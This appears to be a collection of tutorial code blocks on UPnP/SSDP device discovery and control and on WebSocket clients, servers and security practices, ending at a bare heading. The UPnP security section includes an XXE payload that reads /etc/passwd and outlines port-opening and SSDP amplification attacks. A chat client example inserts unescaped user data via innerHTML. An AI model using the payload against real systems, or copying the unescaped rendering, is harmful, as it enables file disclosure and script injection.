<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
</u:GetExternalIPAddress>

<u:GetExternalIPAddressResponse>
  <NewExternalIPAddress>203.0.113.5</NewExternalIPAddress>
</u:GetExternalIPAddressResponse>

MediaServer              - Content provider (NAS, PC)
MediaRenderer            - Content consumer (TV, speaker)
InternetGatewayDevice    - Router/NAT
WANConnectionDevice      - WAN connection management
PrinterBasic             - Network printer
Scanner                  - Network scanner
HVAC                     - Heating/cooling control
Lighting                 - Smart lights
SecurityDevice           - Cameras, sensors

import socket

SSDP_ADDR = '239.255.255.250'
SSDP_PORT = 1900

def discover_devices():
    # M-SEARCH message
    message = '\r\n'.join([
        'M-SEARCH * HTTP/1.1',
        f'Host: {SSDP_ADDR}:{SSDP_PORT}',
        'Man: "ssdp:discover"',
        'ST: ssdp:all',
        'MX: 3',
        '',
        ''
    ])

    # Create socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)

    # Send M-SEARCH
    sock.sendto(message.encode(), (SSDP_ADDR, SSDP_PORT))

    # Receive responses
    devices = []
    try:
        while True:
            data, addr = sock.recvfrom(1024)
            response = data.decode()

            # Parse location
            for line in response.split('\r\n'):
                if line.startswith('Location:'):
                    location = line.split(':', 1)[1].strip()
                    devices.append(location)
                    break
    except socket.timeout:
        pass

    sock.close()
    return devices

# Usage
devices = discover_devices()
for device in devices:
    print(f"Found device: {device}")

import requests
import xml.etree.ElementTree as ET

def control_device(control_url, service_type, action, args):
    # Build SOAP envelope
    soap_body = f'''<?xml version="1.0"?>
    <s:Envelope
      xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
      s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body>
        <u:{action} xmlns:u="{service_type}">
          {''.join(f'<{k}>{v}</{k}>' for k, v in args.items())}
        </u:{action}>
      </s:Body>
    </s:Envelope>'''

    headers = {
        'Content-Type': 'text/xml; charset="utf-8"',
        'SOAPAction': f'"{service_type}#{action}"'
    }

    response = requests.post(control_url, data=soap_body, headers=headers)
    return response.text

# Usage
control_url = 'http://192.168.1.100:8080/service/AVTransport/control'
service_type = 'urn:schemas-upnp-org:service:AVTransport:1'
action = 'Play'
args = {'InstanceID': '0', 'Speed': '1'}

result = control_device(control_url, service_type, action, args)
print(result)

# upnpc (miniupnpc)
# Install: apt-get install miniupnpc

# Discover IGD devices
upnpc -l

# Get external IP
upnpc -s

# Add port mapping
upnpc -a 192.168.1.50 8080 8080 TCP

# List port mappings
upnpc -L

# Delete port mapping
upnpc -d 8080 TCP

- UPnP Inspector (Linux)
- UPnP Test Tool (Windows)
- Device Spy (UPnP Forum)

Any device can control any other device
No password required
No encryption

Attack: Malicious app opens ports in router

Malware can:
  - Open ports in router
  - Expose internal services
  - Create backdoors

Example:
  Malware opens port 3389 (RDP)
  Attacker can remotely access PC

Attacker spoofs source IP as victim
Sends M-SEARCH to many UPnP devices
Devices respond to victim
Victim overwhelmed with traffic

Amplification factor: 30x-50x

Malicious device description:
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Can read local files
Server-side request forgery

1. Disable UPnP on router
   - If not needed, turn it off
   - Most secure option

2. Use UPnP-UP (UPnP with User Profile)
   - Authentication layer
   - Access control

3. Firewall rules
   - Block SSDP multicast from WAN
   - Limit UPnP to trusted VLANs

4. Whitelist devices
   - Only allow known devices
   - MAC address filtering

5. Monitor port mappings
   - Regular audits
   - Alert on unexpected changes

6. Update firmware
   - Patch vulnerabilities
   - Keep devices current

UPnP:
  Pros: Automatic, easy
  Cons: Security risk, no control

Manual:
  Pros: Secure, controlled
  Cons: Technical knowledge required

NAT-PMP (Apple):
  - Similar to UPnP
  - Simpler protocol
  - Better security

PCP (Port Control Protocol):
  - Successor to NAT-PMP
  - IETF standard
  - IPv6 support

UPnP: Local network discovery and control
STUN/TURN: NAT traversal for P2P connections

Different use cases, can complement each other

New TV joins network:
  TV: "Hi everyone! I'm a TV and can play videos!"
  All devices hear the announcement
  Your phone: "Cool, I found a TV!"

Phone to TV: "Can you play this video?"
TV: "Sure! Playing now."

Gaming console to router: "Can you open port 3478?"
Router: "Done! Port is open."

Bad actor: "Hey router, open all ports!"
Router: "OK!" (No questions asked)
  → This is dangerous!

Better approach:
  Router: "Who are you? Do you have permission?"
  Bad actor: "Uh... never mind."

Protocol: ws:// (unencrypted) or wss:// (encrypted)
Port: 80 (ws) or 443 (wss)
Transport: TCP
Connection: Long-lived, persistent
Communication: Full-duplex (bidirectional)
Latency: Low (no HTTP overhead after handshake)
Overhead: 2-14 bytes per frame
Status: RFC 6455 (2011)

Benefits:
✓ Real-time bidirectional communication
✓ Low latency (no polling overhead)
✓ Efficient (minimal frame overhead)
✓ Server can push data to client
✓ Single TCP connection
✓ Works through proxies and firewalls
✓ Subprotocol support

Traditional HTTP Request/Response:

Client                           Server
  |                                |
  |──── HTTP GET (new data?) ─────>|
  |                                |
  |<─── HTTP Response (no) ────────|
  |                                |
  [wait 1 second]
  |                                |
  |──── HTTP GET (new data?) ─────>|
  |                                |
  |<─── HTTP Response (yes!) ──────|
  |                                |

Problems:
- High latency (constant polling)
- Wasted requests (most return nothing)
- Server load (many unnecessary requests)
- HTTP overhead on every request

HTTP Long Polling:

Client                           Server
  |                                |
  |──── HTTP GET (wait) ──────────>|
  |                                | [server holds request]
  |                                | [data arrives]
  |<─── HTTP Response (data!) ─────|
  |                                |
  |──── HTTP GET (wait) ──────────>|
  |                                |

Better, but:
- Still HTTP overhead
- Reconnect after each message
- Server must handle many pending connections
- Not truly bidirectional

Server-Sent Events:

Client                           Server
  |                                |
  |──── HTTP GET (subscribe) ─────>|
  |                                |
  |<═══ Event stream ══════════════| (one-way)
  |<═══ data: message 1 ═══════════|
  |<═══ data: message 2 ═══════════|
  |<═══ data: message 3 ═══════════|
  |                                |

Good for:
✓ Server → Client only
✓ Text-based data
✓ Auto-reconnect
✓ Simpler than WebSocket

Limited:
✗ One-way only (server to client)
✗ HTTP/1.1 connection limit (6 per domain)
✗ Text only (no binary)

WebSocket:

Client                           Server
  |                                |
  |──── HTTP Upgrade ─────────────>|
  |<─── 101 Switching Protocols ───|
  |                                |
  |<══════ WebSocket Open ═════════>|
  |                                |
  |──── Message 1 ────────────────>|
  |<─── Message 2 ─────────────────|
  |──── Message 3 ────────────────>|
  |──── Message 4 ────────────────>|
  |<─── Message 5 ─────────────────|
  |                                |

Best for:
✓ Bidirectional communication
✓ Real-time updates
✓ Low latency required
✓ High message frequency
✓ Binary data support

Client Request:
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com

Server Response:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Key Fields:

Upgrade: websocket
- Request protocol upgrade from HTTP to WebSocket

Connection: Upgrade
- Indicates connection upgrade needed

Sec-WebSocket-Key: <base64-encoded-random>
- 16-byte random value, base64 encoded
- Prevents caching proxies from confusing requests

Sec-WebSocket-Version: 13
- WebSocket protocol version (13 is current)

Sec-WebSocket-Accept: <computed-hash>
- Server proves it understands WebSocket
- Computed as: base64(SHA-1(Key + magic-string))
- Magic string: 258EAFA5-E914-47DA-95CA-C5AB0DC85B11

Origin: https://example.com
- Browser sends origin for CORS check
- Server can validate allowed origins

After handshake:
- HTTP connection becomes WebSocket connection
- Both sides can send messages anytime
- Connection stays open until explicitly closed

// Server-side validation (conceptual)
const crypto = require('crypto');

function computeAcceptKey(clientKey) {
  const MAGIC = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11';
  const hash = crypto
    .createHash('sha1')
    .update(clientKey + MAGIC)
    .digest('base64');
  return hash;
}

// Example:
const clientKey = 'dGhlIHNhbXBsZSBub25jZQ==';
const acceptKey = computeAcceptKey(clientKey);
console.log(acceptKey);
// Output: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

WebSocket Frame Structure:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (if payload len==126/127)   |
| |1|2|3|       |K|             |                               |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     Extended payload length continued, if payload len == 127  |
+ - - - - - - - - - - - - - - - +-------------------------------+
|                               | Masking-key, if MASK set to 1 |
+-------------------------------+-------------------------------+
| Masking-key (continued)       |          Payload Data         |
+-------------------------------- - - - - - - - - - - - - - - - +
:                     Payload Data continued ...                :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
|                     Payload Data continued ...                |
+---------------------------------------------------------------+

Fields:

FIN (1 bit):
- 1 = final fragment
- 0 = more fragments coming

RSV1, RSV2, RSV3 (3 bits):
- Reserved for extensions
- Must be 0 unless extension negotiated

Opcode (4 bits):
- 0x0 = Continuation frame
- 0x1 = Text frame (UTF-8)
- 0x2 = Binary frame
- 0x8 = Connection close
- 0x9 = Ping
- 0xA = Pong

MASK (1 bit):
- 1 = payload is masked (required for client → server)
- 0 = payload not masked (server → client)

Payload Length (7 bits, or 7+16, or 7+64):
- 0-125: actual length
- 126: next 16 bits contain length
- 127: next 64 bits contain length

Masking Key (32 bits):
- Present if MASK = 1
- Random 4-byte key
- Client must mask all frames to server

Payload Data:
- Actual message data
- If masked, XOR with masking key

Minimum Frame Size:
- 2 bytes (no masking, payload ≤ 125 bytes)
- 6 bytes (with masking, payload ≤ 125 bytes)

Text Frame (Opcode 0x1):
- UTF-8 encoded text
- Most common for JSON, strings

Binary Frame (Opcode 0x2):
- Raw binary data
- Images, files, protocol buffers

Ping Frame (Opcode 0x9):
- Sent by either side
- Keep connection alive
- Check if peer responsive

Pong Frame (Opcode 0xA):
- Response to ping
- Sent automatically
- Contains same data as ping

Close Frame (Opcode 0x8):
- Initiates connection close
- Contains optional close code and reason
- Peer responds with close frame

// Create WebSocket connection
const socket = new WebSocket('ws://localhost:8080');

// Alternative: secure WebSocket
// const socket = new WebSocket('wss://example.com/socket');

// Connection opened
socket.addEventListener('open', (event) => {
  console.log('Connected to server');

  // Send message
  socket.send('Hello Server!');

  // Send JSON
  socket.send(JSON.stringify({
    type: 'chat',
    message: 'Hello!',
    timestamp: Date.now()
  }));

  // Send binary data
  const buffer = new Uint8Array([1, 2, 3, 4]);
  socket.send(buffer);
});

// Receive message
socket.addEventListener('message', (event) => {
  console.log('Message from server:', event.data);

  // Handle text data
  if (typeof event.data === 'string') {
    try {
      const data = JSON.parse(event.data);
      handleMessage(data);
    } catch (e) {
      console.log('Text:', event.data);
    }
  }

  // Handle binary data
  if (event.data instanceof Blob) {
    event.data.arrayBuffer().then(buffer => {
      const view = new Uint8Array(buffer);
      console.log('Binary data:', view);
    });
  }

  // Or receive as ArrayBuffer
  // socket.binaryType = 'arraybuffer';
});

// Connection closed
socket.addEventListener('close', (event) => {
  console.log('Disconnected from server');
  console.log('Code:', event.code);
  console.log('Reason:', event.reason);
  console.log('Clean:', event.wasClean);
});

// Connection error
socket.addEventListener('error', (error) => {
  console.error('WebSocket error:', error);
});

// Send messages
function sendMessage(text) {
  if (socket.readyState === WebSocket.OPEN) {
    socket.send(text);
  } else {
    console.error('WebSocket not connected');
  }
}

// Close connection
function closeConnection() {
  socket.close(1000, 'User closed connection');
}

// WebSocket states
console.log('CONNECTING:', WebSocket.CONNECTING); // 0
console.log('OPEN:', WebSocket.OPEN);             // 1
console.log('CLOSING:', WebSocket.CLOSING);       // 2
console.log('CLOSED:', WebSocket.CLOSED);         // 3

// Check current state
console.log('Current state:', socket.readyState);

class WebSocketClient {
  constructor(url, options = {}) {
    this.url = url;
    this.options = {
      reconnect: true,
      reconnectInterval: 1000,
      reconnectDecay: 1.5,
      maxReconnectInterval: 30000,
      maxReconnectAttempts: 10,
      ...options
    };

    this.ws = null;
    this.reconnectAttempts = 0;
    this.messageQueue = [];
    this.handlers = new Map();

    this.connect();
  }

  connect() {
    this.ws = new WebSocket(this.url);

    this.ws.onopen = () => {
      console.log('Connected');
      this.reconnectAttempts = 0;

      // Send queued messages
      while (this.messageQueue.length > 0) {
        this.send(this.messageQueue.shift());
      }

      this.emit('connect');
    };

    this.ws.onmessage = (event) => {
      try {
        const data = JSON.parse(event.data);
        this.emit(data.type || 'message', data);
      } catch (e) {
        this.emit('message', event.data);
      }
    };

    this.ws.onclose = (event) => {
      console.log('Disconnected:', event.code, event.reason);
      this.emit('disconnect', event);

      if (this.options.reconnect) {
        this.reconnect();
      }
    };

    this.ws.onerror = (error) => {
      console.error('WebSocket error:', error);
      this.emit('error', error);
    };
  }

  reconnect() {
    if (this.reconnectAttempts >= this.options.maxReconnectAttempts) {
      console.error('Max reconnect attempts reached');
      this.emit('reconnect_failed');
      return;
    }

    this.reconnectAttempts++;
    const delay = Math.min(
      this.options.reconnectInterval *
        Math.pow(this.options.reconnectDecay, this.reconnectAttempts - 1),
      this.options.maxReconnectInterval
    );

    console.log(`Reconnecting in ${delay}ms (attempt ${this.reconnectAttempts})`);

    setTimeout(() => {
      this.emit('reconnecting', this.reconnectAttempts);
      this.connect();
    }, delay);
  }

  send(data) {
    if (this.ws.readyState === WebSocket.OPEN) {
      const message = typeof data === 'string'
        ? data
        : JSON.stringify(data);
      this.ws.send(message);
    } else {
      console.log('Queueing message (not connected)');
      this.messageQueue.push(data);
    }
  }

  on(event, handler) {
    if (!this.handlers.has(event)) {
      this.handlers.set(event, []);
    }
    this.handlers.get(event).push(handler);
  }

  emit(event, data) {
    if (this.handlers.has(event)) {
      this.handlers.get(event).forEach(handler => handler(data));
    }
  }

  close() {
    this.options.reconnect = false;
    if (this.ws) {
      this.ws.close(1000, 'Client closed');
    }
  }
}

// Usage
const client = new WebSocketClient('ws://localhost:8080', {
  reconnect: true,
  maxReconnectAttempts: 5
});

client.on('connect', () => {
  console.log('Connected!');
  client.send({ type: 'auth', token: 'abc123' });
});

client.on('message', (data) => {
  console.log('Received:', data);
});

client.on('disconnect', () => {
  console.log('Connection lost');
});

client.send({ type: 'chat', message: 'Hello' });

const WebSocket = require('ws');
const http = require('http');

// Create HTTP server
const server = http.createServer((req, res) => {
  res.writeHead(200);
  res.end('WebSocket server running');
});

// Create WebSocket server
const wss = new WebSocket.Server({ server });

// Track connected clients
const clients = new Set();

// Connection handler
wss.on('connection', (ws, req) => {
  console.log('Client connected from', req.socket.remoteAddress);

  // Add to client set
  clients.add(ws);

  // Send welcome message
  ws.send(JSON.stringify({
    type: 'welcome',
    message: 'Connected to server',
    clients: clients.size
  }));

  // Broadcast new connection to all clients
  broadcast({
    type: 'user-joined',
    clients: clients.size
  }, ws);

  // Message handler
  ws.on('message', (data) => {
    console.log('Received:', data.toString());

    try {
      const message = JSON.parse(data);

      // Handle different message types
      switch (message.type) {
        case 'chat':
          // Broadcast chat message
          broadcast({
            type: 'chat',
            message: message.message,
            timestamp: Date.now()
          });
          break;

        case 'ping':
          // Respond to ping
          ws.send(JSON.stringify({
            type: 'pong',
            timestamp: Date.now()
          }));
          break;

        default:
          console.log('Unknown message type:', message.type);
      }
    } catch (e) {
      console.error('Invalid JSON:', e);
    }
  });

  // Pong handler (heartbeat)
  ws.on('pong', () => {
    ws.isAlive = true;
  });

  // Close handler
  ws.on('close', (code, reason) => {
    console.log('Client disconnected:', code, reason.toString());
    clients.delete(ws);

    // Notify others
    broadcast({
      type: 'user-left',
      clients: clients.size
    });
  });

  // Error handler
  ws.on('error', (error) => {
    console.error('WebSocket error:', error);
  });

  // Mark as alive for heartbeat
  ws.isAlive = true;
});

// Broadcast to all clients
function broadcast(data, exclude = null) {
  const message = JSON.stringify(data);

  clients.forEach(client => {
    if (client !== exclude && client.readyState === WebSocket.OPEN) {
      client.send(message);
    }
  });
}

// Heartbeat (detect dead connections)
const heartbeatInterval = setInterval(() => {
  clients.forEach(ws => {
    if (!ws.isAlive) {
      console.log('Terminating dead connection');
      ws.terminate();
      clients.delete(ws);
      return;
    }

    ws.isAlive = false;
    ws.ping();
  });
}, 30000); // Every 30 seconds

// Cleanup on server close
wss.on('close', () => {
  clearInterval(heartbeatInterval);
});

// Start server
const PORT = 8080;
server.listen(PORT, () => {
  console.log(`WebSocket server listening on port ${PORT}`);
});

const WebSocket = require('ws');
const http = require('http');
const url = require('url');

class WebSocketServer {
  constructor(options = {}) {
    this.options = {
      port: 8080,
      pingInterval: 30000,
      maxClients: 1000,
      ...options
    };

    this.server = http.createServer();
    this.wss = new WebSocket.Server({ server: this.server });

    this.rooms = new Map(); // roomId -> Set of clients
    this.clients = new Map(); // ws -> client info

    this.setupHandlers();
    this.startHeartbeat();
  }

  setupHandlers() {
    this.wss.on('connection', (ws, req) => {
      // Check max clients
      if (this.clients.size >= this.options.maxClients) {
        ws.close(1008, 'Server full');
        return;
      }

      // Parse URL parameters
      const params = url.parse(req.url, true).query;

      // Create client info
      const clientInfo = {
        id: this.generateId(),
        ip: req.socket.remoteAddress,
        rooms: new Set(),
        authenticated: false,
        metadata: {}
      };

      this.clients.set(ws, clientInfo);
      ws.isAlive = true;

      console.log(`Client ${clientInfo.id} connected`);

      // Send client ID
      this.send(ws, {
        type: 'connected',
        clientId: clientInfo.id
      });

      // Message handler
      ws.on('message', (data) => {
        this.handleMessage(ws, data);
      });

      // Pong handler
      ws.on('pong', () => {
        ws.isAlive = true;
      });

      // Close handler
      ws.on('close', () => {
        this.handleDisconnect(ws);
      });

      // Error handler
      ws.on('error', (error) => {
        console.error('Error:', error);
      });
    });
  }

  handleMessage(ws, data) {
    const client = this.clients.get(ws);
    if (!client) return;

    try {
      const message = JSON.parse(data);

      switch (message.type) {
        case 'auth':
          this.handleAuth(ws, message);
          break;

        case 'join-room':
          this.joinRoom(ws, message.room);
          break;

        case 'leave-room':
          this.leaveRoom(ws, message.room);
          break;

        case 'message':
          this.handleRoomMessage(ws, message);
          break;

        default:
          console.log('Unknown message type:', message.type);
      }
    } catch (e) {
      console.error('Invalid message:', e);
      this.send(ws, {
        type: 'error',
        message: 'Invalid message format'
      });
    }
  }

  handleAuth(ws, message) {
    const client = this.clients.get(ws);

    // Validate token (simplified)
    if (message.token === 'valid-token') {
      client.authenticated = true;
      client.metadata.username = message.username;

      this.send(ws, {
        type: 'auth-success',
        username: message.username
      });
    } else {
      this.send(ws, {
        type: 'auth-failed',
        message: 'Invalid token'
      });

      ws.close(1008, 'Authentication failed');
    }
  }

  joinRoom(ws, roomId) {
    const client = this.clients.get(ws);
    if (!client?.authenticated) return;

    // Create room if doesn't exist
    if (!this.rooms.has(roomId)) {
      this.rooms.set(roomId, new Set());
    }

    // Add client to room
    this.rooms.get(roomId).add(ws);
    client.rooms.add(roomId);

    console.log(`Client ${client.id} joined room ${roomId}`);

    // Notify client
    this.send(ws, {
      type: 'joined-room',
      room: roomId,
      members: this.rooms.get(roomId).size
    });

    // Notify room members
    this.broadcastToRoom(roomId, {
      type: 'user-joined',
      userId: client.id,
      username: client.metadata.username,
      members: this.rooms.get(roomId).size
    }, ws);
  }

  leaveRoom(ws, roomId) {
    const client = this.clients.get(ws);
    if (!client) return;

    if (this.rooms.has(roomId)) {
      this.rooms.get(roomId).delete(ws);
      client.rooms.delete(roomId);

      // Notify others
      this.broadcastToRoom(roomId, {
        type: 'user-left',
        userId: client.id,
        members: this.rooms.get(roomId).size
      });

      // Clean up empty rooms
      if (this.rooms.get(roomId).size === 0) {
        this.rooms.delete(roomId);
      }
    }
  }

  handleRoomMessage(ws, message) {
    const client = this.clients.get(ws);
    if (!client?.authenticated) return;

    if (message.room && this.rooms.has(message.room)) {
      this.broadcastToRoom(message.room, {
        type: 'message',
        userId: client.id,
        username: client.metadata.username,
        message: message.content,
        timestamp: Date.now()
      });
    }
  }

  handleDisconnect(ws) {
    const client = this.clients.get(ws);
    if (!client) return;

    console.log(`Client ${client.id} disconnected`);

    // Remove from all rooms
    client.rooms.forEach(roomId => {
      this.leaveRoom(ws, roomId);
    });

    // Remove from clients
    this.clients.delete(ws);
  }

  send(ws, data) {
    if (ws.readyState === WebSocket.OPEN) {
      ws.send(JSON.stringify(data));
    }
  }

  broadcastToRoom(roomId, data, exclude = null) {
    if (!this.rooms.has(roomId)) return;

    const message = JSON.stringify(data);
    this.rooms.get(roomId).forEach(client => {
      if (client !== exclude && client.readyState === WebSocket.OPEN) {
        client.send(message);
      }
    });
  }

  broadcastToAll(data, exclude = null) {
    const message = JSON.stringify(data);
    this.clients.forEach((clientInfo, ws) => {
      if (ws !== exclude && ws.readyState === WebSocket.OPEN) {
        ws.send(message);
      }
    });
  }

  startHeartbeat() {
    this.heartbeatInterval = setInterval(() => {
      this.clients.forEach((clientInfo, ws) => {
        if (!ws.isAlive) {
          console.log(`Terminating dead connection: ${clientInfo.id}`);
          ws.terminate();
          return;
        }

        ws.isAlive = false;
        ws.ping();
      });
    }, this.options.pingInterval);
  }

  generateId() {
    return Math.random().toString(36).substring(2, 15);
  }

  start() {
    this.server.listen(this.options.port, () => {
      console.log(`WebSocket server listening on port ${this.options.port}`);
    });
  }

  stop() {
    clearInterval(this.heartbeatInterval);
    this.wss.close();
    this.server.close();
  }
}

// Usage
const server = new WebSocketServer({
  port: 8080,
  pingInterval: 30000,
  maxClients: 1000
});

server.start();

// Client
class ChatClient {
  constructor(url) {
    this.socket = new WebSocket(url);
    this.setupHandlers();
  }

  setupHandlers() {
    this.socket.onopen = () => {
      console.log('Connected to chat');
      this.authenticate();
    };

    this.socket.onmessage = (event) => {
      const data = JSON.parse(event.data);

      switch (data.type) {
        case 'message':
          this.displayMessage(data);
          break;
        case 'user-joined':
          this.showNotification(`${data.username} joined`);
          break;
        case 'user-left':
          this.showNotification(`${data.username} left`);
          break;
      }
    };
  }

  authenticate() {
    this.socket.send(JSON.stringify({
      type: 'auth',
      token: localStorage.getItem('token'),
      username: localStorage.getItem('username')
    }));
  }

  joinRoom(roomId) {
    this.socket.send(JSON.stringify({
      type: 'join-room',
      room: roomId
    }));
  }

  sendMessage(roomId, message) {
    this.socket.send(JSON.stringify({
      type: 'message',
      room: roomId,
      content: message
    }));
  }

  displayMessage(data) {
    const messageElement = document.createElement('div');
    messageElement.className = 'message';
    messageElement.innerHTML = `
      <span class="username">${data.username}:</span>
      <span class="content">${data.message}</span>
      <span class="timestamp">${new Date(data.timestamp).toLocaleTimeString()}</span>
    `;
    document.getElementById('messages').appendChild(messageElement);
  }

  showNotification(text) {
    console.log(text);
  }
}

const chat = new ChatClient('ws://localhost:8080');
chat.joinRoom('general');

// Server: Push updates to dashboard
function broadcastMetrics() {
  const metrics = {
    type: 'metrics',
    cpu: getCpuUsage(),
    memory: getMemoryUsage(),
    activeUsers: clients.size,
    requestsPerSecond: getRequestRate(),
    timestamp: Date.now()
  };

  broadcastToAll(metrics);
}

setInterval(broadcastMetrics, 1000);

// Client: Display real-time metrics
socket.onmessage = (event) => {
  const data = JSON.parse(event.data);

  if (data.type === 'metrics') {
    updateChart('cpu', data.cpu);
    updateChart('memory', data.memory);
    updateCounter('users', data.activeUsers);
    updateCounter('rps', data.requestsPerSecond);
  }
};

// Server: Send notifications
function notifyUser(userId, notification) {
  const client = getUserWebSocket(userId);

  if (client && client.readyState === WebSocket.OPEN) {
    client.send(JSON.stringify({
      type: 'notification',
      title: notification.title,
      message: notification.message,
      priority: notification.priority,
      timestamp: Date.now()
    }));
  }
}

// Client: Display notifications
socket.onmessage = (event) => {
  const data = JSON.parse(event.data);

  if (data.type === 'notification') {
    showNotification(data.title, data.message);

    // Play sound for high priority
    if (data.priority === 'high') {
      playNotificationSound();
    }

    // Desktop notification
    if (Notification.permission === 'granted') {
      new Notification(data.title, {
        body: data.message,
        icon: '/icon.png'
      });
    }
  }
};

// Server: Broadcast document changes
wss.on('connection', (ws) => {
  ws.on('message', (data) => {
    const change = JSON.parse(data);

    if (change.type === 'edit') {
      // Apply change to document
      applyChange(change.documentId, change.operation);

      // Broadcast to others in same document
      broadcastToDocument(change.documentId, {
        type: 'edit',
        operation: change.operation,
        userId: ws.userId
      }, ws);
    }
  });
});

// Client: Send and receive edits
let editor = document.getElementById('editor');

editor.addEventListener('input', debounce((e) => {
  socket.send(JSON.stringify({
    type: 'edit',
    documentId: currentDocId,
    operation: {
      type: 'insert',
      position: e.target.selectionStart,
      text: e.data
    }
  }));
}, 100));

socket.onmessage = (event) => {
  const data = JSON.parse(event.data);

  if (data.type === 'edit' && data.userId !== myUserId) {
    applyRemoteEdit(data.operation);
  }
};

// Server: Game state synchronization
const gameState = {
  players: new Map(),
  entities: []
};

function updateGameState() {
  broadcastToAll({
    type: 'state',
    players: Array.from(gameState.players.values()),
    entities: gameState.entities,
    timestamp: Date.now()
  });
}

// 60 updates per second
setInterval(updateGameState, 1000 / 60);

// Client: Send player input
const input = {
  keys: {},
  mouse: { x: 0, y: 0 }
};

document.addEventListener('keydown', (e) => {
  input.keys[e.key] = true;

  socket.send(JSON.stringify({
    type: 'input',
    keys: input.keys,
    timestamp: Date.now()
  }));
});

// Receive game state
socket.onmessage = (event) => {
  const data = JSON.parse(event.data);

  if (data.type === 'state') {
    renderGameState(data.players, data.entities);
  }
};

// Server: Verify token on connection
wss.on('connection', (ws, req) => {
  // Extract token from query string
  const params = new URLSearchParams(req.url.split('?')[1]);
  const token = params.get('token');

  // Verify token
  if (!verifyToken(token)) {
    ws.close(1008, 'Invalid authentication');
    return;
  }

  ws.userId = decodeToken(token).userId;
});

// Or: Authenticate after connection
ws.on('message', (data) => {
  const message = JSON.parse(data);

  if (message.type === 'auth') {
    if (verifyToken(message.token)) {
      ws.authenticated = true;
      ws.userId = decodeToken(message.token).userId;
      ws.send(JSON.stringify({ type: 'auth-success' }));
    } else {
      ws.close(1008, 'Authentication failed');
    }
  } else if (!ws.authenticated) {
    ws.send(JSON.stringify({
      type: 'error',
      message: 'Not authenticated'
    }));
  }
});

// Server: Validate origin
wss.on('connection', (ws, req) => {
  const origin = req.headers.origin;
  const allowedOrigins = [
    'https://example.com',
    'https://app.example.com'
  ];

  if (!allowedOrigins.includes(origin)) {
    console.log('Rejected connection from:', origin);
    ws.close(1008, 'Origin not allowed');
    return;
  }

  // Accept connection
});

// Server: Rate limit messages
const rateLimits = new Map(); // clientId -> message count

ws.on('message', (data) => {
  const clientId = ws.userId || ws.ip;

  if (!rateLimits.has(clientId)) {
    rateLimits.set(clientId, { count: 0, resetAt: Date.now() + 60000 });
  }

  const limit = rateLimits.get(clientId);

  // Reset if window expired
  if (Date.now() > limit.resetAt) {
    limit.count = 0;
    limit.resetAt = Date.now() + 60000;
  }

  // Check limit (100 messages per minute)
  if (limit.count >= 100) {
    ws.send(JSON.stringify({
      type: 'error',
      message: 'Rate limit exceeded'
    }));
    return;
  }

  limit.count++;

  // Process message
  handleMessage(ws, data);
});

// Server: Validate and sanitize input
function handleMessage(ws, data) {
  let message;

  try {
    message = JSON.parse(data);
  } catch (e) {
    ws.send(JSON.stringify({
      type: 'error',
      message: 'Invalid JSON'
    }));
    return;
  }

  // Validate message structure
  if (!message.type || typeof message.type !== 'string') {
    ws.send(JSON.stringify({
      type: 'error',
      message: 'Invalid message format'
    }));
    return;
  }

  // Validate message size
  if (data.length > 10000) {
    ws.send(JSON.stringify({
      type: 'error',
      message: 'Message too large'
    }));
    return;
  }

  // Sanitize text content
  if (message.content) {
    message.content = sanitizeHtml(message.content);
  }

  // Process validated message
  processMessage(ws, message);
}

// Server: Use HTTPS/WSS
const https = require('https');
const fs = require('fs');

const server = https.createServer({
  cert: fs.readFileSync('cert.pem'),
  key: fs.readFileSync('key.pem')
});

const wss = new WebSocket.Server({ server });

server.listen(443);

// Client: Connect with wss://
const socket = new WebSocket('wss://example.com/socket');

// Server: Detect dead connections
const heartbeatInterval = setInterval(() => {
  wss.clients.forEach((ws) => {
    if (ws.isAlive === false) {
      return ws.terminate();
    }

    ws.isAlive = false;
    ws.ping();
  });
}, 30000);

wss.on('connection', (ws) => {
  ws.isAlive = true;

  ws.on('pong', () => {
    ws.isAlive = true;
  });
});

// Client: Respond to pings (automatic in browsers)
// Or implement custom heartbeat:
setInterval(() => {
  socket.send(JSON.stringify({ type: 'ping' }));
}, 30000);

// Client: Exponential backoff
class ReconnectingWebSocket {
  constructor(url) {
    this.url = url;
    this.reconnectDelay = 1000;
    this.maxReconnectDelay = 30000;
    this.reconnectAttempts = 0;
    this.connect();
  }

  connect() {
    this.ws = new WebSocket(this.url);

    this.ws.onopen = () => {
      console.log('Connected');
      this.reconnectDelay = 1000;
      this.reconnectAttempts = 0;
    };

    this.ws.onclose = () => {
      console.log('Disconnected');
      this.scheduleReconnect();
    };
  }

  scheduleReconnect() {
    const delay = Math.min(
      this.reconnectDelay * Math.pow(2, this.reconnectAttempts),
      this.maxReconnectDelay
    );

    console.log(`Reconnecting in ${delay}ms`);

    setTimeout(() => {
      this.reconnectAttempts++;
      this.connect();
    }, delay);
  }
}

// Client: Queue messages when disconnected
class QueuedWebSocket {
  constructor(url) {
    this.url = url;
    this.queue = [];
    this.connect();
  }

  connect() {
    this.ws = new WebSocket(this.url);

    this.ws.onopen = () => {
      // Send queued messages
      while (this.queue.length > 0) {
        this.ws.send(this.queue.shift());
      }
    };
  }

  send(data) {
    if (this.ws.readyState === WebSocket.OPEN) {
      this.ws.send(data);
    } else {
      this.queue.push(data);
    }
  }
}

// Send binary efficiently
